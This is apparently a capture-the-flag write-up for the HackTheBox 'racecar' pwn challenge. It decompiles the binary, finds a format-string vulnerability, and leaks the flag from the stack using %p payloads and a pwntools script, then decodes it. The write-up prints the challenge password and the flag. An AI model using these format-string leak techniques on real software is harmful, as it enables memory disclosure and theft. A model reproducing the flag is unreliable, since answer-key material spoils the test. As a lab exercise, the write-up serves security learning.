Short summary:
- Here’s the challenge: racecar.zip, zip password is
hackthebox
- Good luck writing your pwn script
So, it’s a pwn challenge. For those first-timers, basically you’re given a program that’s also being run on a server. The task is to find a flaw in that program so that you can retrieve the real flag from the server.
This time, we’re given a binary file named racecar
. You can grab the binary and try it out yourself, since it’s a fun challenge.
First things first, let’s check what’s it.
$ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, not stripped
ELF binary, not stripped - which means debugging information’s still there. So let’s find out what it has.
$ readelf -s racecar 1 ⨯
Symbol table '.dynsym' contains 27 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND strcmp@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
4: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND fgets@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND time@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND sleep@GLIBC_2.0 (2)
8: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2)
9: 00000000 0 FUNC GLOBAL DEFAULT UND __[...]@GLIBC_2.4 (3)
10: 00000000 0 FUNC WEAK DEFAULT UND [...]@GLIBC_2.1.3 (4)
11: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2)
12: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
13: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
14: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)
... # and a lot more so I'll just skip straight to needed part
84: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@@GLIBC_2.0
85: 00004010 0 NOTYPE GLOBAL DEFAULT 24 __bss_start
86: 000013e1 168 FUNC GLOBAL DEFAULT 14 main
87: 00004008 4 OBJECT GLOBAL DEFAULT 23 coins
88: 00001500 20 FUNC GLOBAL HIDDEN 14 __stack_chk_fail[...]
89: 0000400c 4 OBJECT GLOBAL DEFAULT 23 check
90: 00000000 0 FUNC GLOBAL DEFAULT UND atoi@@GLIBC_2.0
91: 00004010 0 OBJECT GLOBAL HIDDEN 23 __TMC_END__
92: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMC[...]
93: 00000618 0 FUNC GLOBAL DEFAULT 11 _init
94: 00001082 336 FUNC GLOBAL DEFAULT 14 info
95: 00000b93 111 FUNC GLOBAL DEFAULT 14 setup
See that main
function? We go there. :D
Here’s what I’d got in Ghidra:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void main(void)
{
int iVar1;
int iVar2;
int in_GS_OFFSET;
iVar1 = *(int *)(in_GS_OFFSET + 0x14);
setup();
banner();
info();
while (check != 0) {
iVar2 = menu();
if (iVar2 == 1) {
car_info();
}
else {
if (iVar2 == 2) {
check = 0;
car_menu();
}
else {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
}
}
if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
Already got the rough idea? I’ve checked car_info()
and some other functions, but seems like car_menu()
is the only one has some interesting bits to it. Here’s it:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void car_menu(void)
{
int iVar1;
int iVar2;
uint __seed;
int iVar3;
size_t sVar4;
char *__format;
FILE *__stream;
int in_GS_OFFSET;
undefined *puVar5;
undefined4 uVar6;
undefined4 uVar7;
uint local_54;
char local_3c [44];
int local_10;
local_10 = *(int *)(in_GS_OFFSET + 0x14);
uVar6 = 0xffffffff;
uVar7 = 0xffffffff;
do {
printf(&DAT_00011948);
iVar1 = read_int(uVar6,uVar7);
if ((iVar1 != 2) && (iVar1 != 1)) {
printf("\n%s[-] Invalid choice!%s\n",&DAT_00011548,&DAT_00011538);
}
} while ((iVar1 != 2) && (iVar1 != 1));
iVar2 = race_type();
__seed = time((time_t *)0x0);
srand(__seed);
if (((iVar1 == 1) && (iVar2 == 2)) || ((iVar1 == 2 && (iVar2 == 2)))) {
iVar2 = rand();
iVar2 = iVar2 % 10;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
else {
if (((iVar1 == 1) && (iVar2 == 1)) || ((iVar1 == 2 && (iVar2 == 1)))) {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 10;
}
else {
iVar2 = rand();
iVar2 = iVar2 % 100;
iVar3 = rand();
iVar3 = iVar3 % 100;
}
}
local_54 = 0;
while( true ) {
sVar4 = strlen("\n[*] Waiting for the race to finish...");
if (sVar4 <= local_54) break;
putchar((int)"\n[*] Waiting for the race to finish..."[local_54]);
if ("\n[*] Waiting for the race to finish..."[local_54] == '.') {
sleep(0);
}
local_54 = local_54 + 1;
}
if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
coins = coins + 100;
puVar5 = &DAT_00011538;
printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
&DAT_000119de);
__format = (char *)malloc(0x171);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
/* WARNING: Subroutine does not return */
exit(0x69);
}
fgets(local_3c,0x2c,__stream);
read(0,__format,0x170);
puts(
"\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m"
);
printf(__format);
}
else {
if (((iVar1 == 1) && (iVar3 < iVar2)) || ((iVar1 == 2 && (iVar2 < iVar3)))) {
printf("%s\n\n[-] You lost the race and all your coins!\n",&DAT_00011548);
coins = 0;
printf("[+] Current coins: [%d]%s\n",0,&DAT_00011538);
}
}
if (local_10 != *(int *)(in_GS_OFFSET + 0x14)) {
__stack_chk_fail_local();
}
return;
}
You can carefully examine it for studying purpose, but to keep it short, basically it’s:
- If you choose car 1 and race 2, or car 2 and race 1, you win
- When you win, it let you input something there, and print it back out
Here’s what would happen:
Now that we’ve known what this program does, how to exploit it?
See this little, cute command somewhere on the 82th line of car_menu()
function? :D
printf(__format);
Yeah, as clear as day, a format string vulnerability!
Try to insert a payload there:
[!] Do you have anything to say to the press after your big victory?
> %x%x
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
57916200170
Well, it’s vulnerable.
Since it’s quite troublesome to enter our payload each time, here’s an on-the-spot Python script to make our life easier. :D
#!/usr/bin/env python3
from pwn import *
context.log_level = 'ERROR'
def exploit(payload: str):
conn = process('./racecar')
conn.sendlineafter(b'Name', b'aki')
conn.sendlineafter(b'Nickname', b'aki')
conn.sendlineafter(b'selection', b'2')
conn.sendlineafter(b'car', b'1')
conn.sendlineafter(b'Circuit', b'2')
conn.sendlineafter(b'victory?', bytes(payload, encoding='utf-8'))
conn.recv()
print(conn.recv().decode('utf-8'))
conn.close()
if __name__ == '__main__':
while True:
exploit(input('Enter payload: '))
I also created a flag.txt
contains only AAAA
, since that’ll be 41414141
in hex - much easier to spot.
[!] Do you have anything to say to the press after your big victory?
> %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this:
0x568e4200 0x170 0x565c8d85 0x5 0x4c 0x26 0x1 0x2 0x565c996c 0x568e4200 0x568e4380 0x41414141 0xa414141 0xf7db0100 0xaf7cc300 0x565c9d58 0x565cbf8c 0xffda98c8 0x565c938d 0x565c9540
It’s the 12th! Now, do just the same with the server, we get:
0x574361c0 0x170 0x56555d85 0x1 0x5e 0x26 0x1 0x2 0x5655696c 0x574361c0 0x57436340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0xf149d800 0xf7f9e3fc 0x56558f8c 0xfffe9b38 0x56556441 0x1 0xfffe9be4 0xfffe9bec
It doesn’t make much sense, does it? So let’s spin up another convenient script:
#!/usr/bin/env python3
import re
raw_flag = input("Enter the raw data: ")
raw_flag = raw_flag.split()[::-1]
for i in range(len(raw_flag)):
raw_flag[i] = re.findall('..', raw_flag[i])
flag = []
for chars in raw_flag:
word = ""
for char in chars[::-1]:
if char != '0x':
word += chr(int(char, 16))
flag.append(word)
flag.reverse()
print(''.join(flag))
Since it’s not a piece of cake to filter out which bytes are meaningful, let’s just plug all retrieved data to the script, and whatever gibberish it yield out must contain our flag!
In case you’re curious, here’s that gibberish:
]UV^&liUVÀaCW@cCWHTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}ØIñüãù÷UV8dUVä
See our flag in the middle? :D
And that’s it. Nice challenge!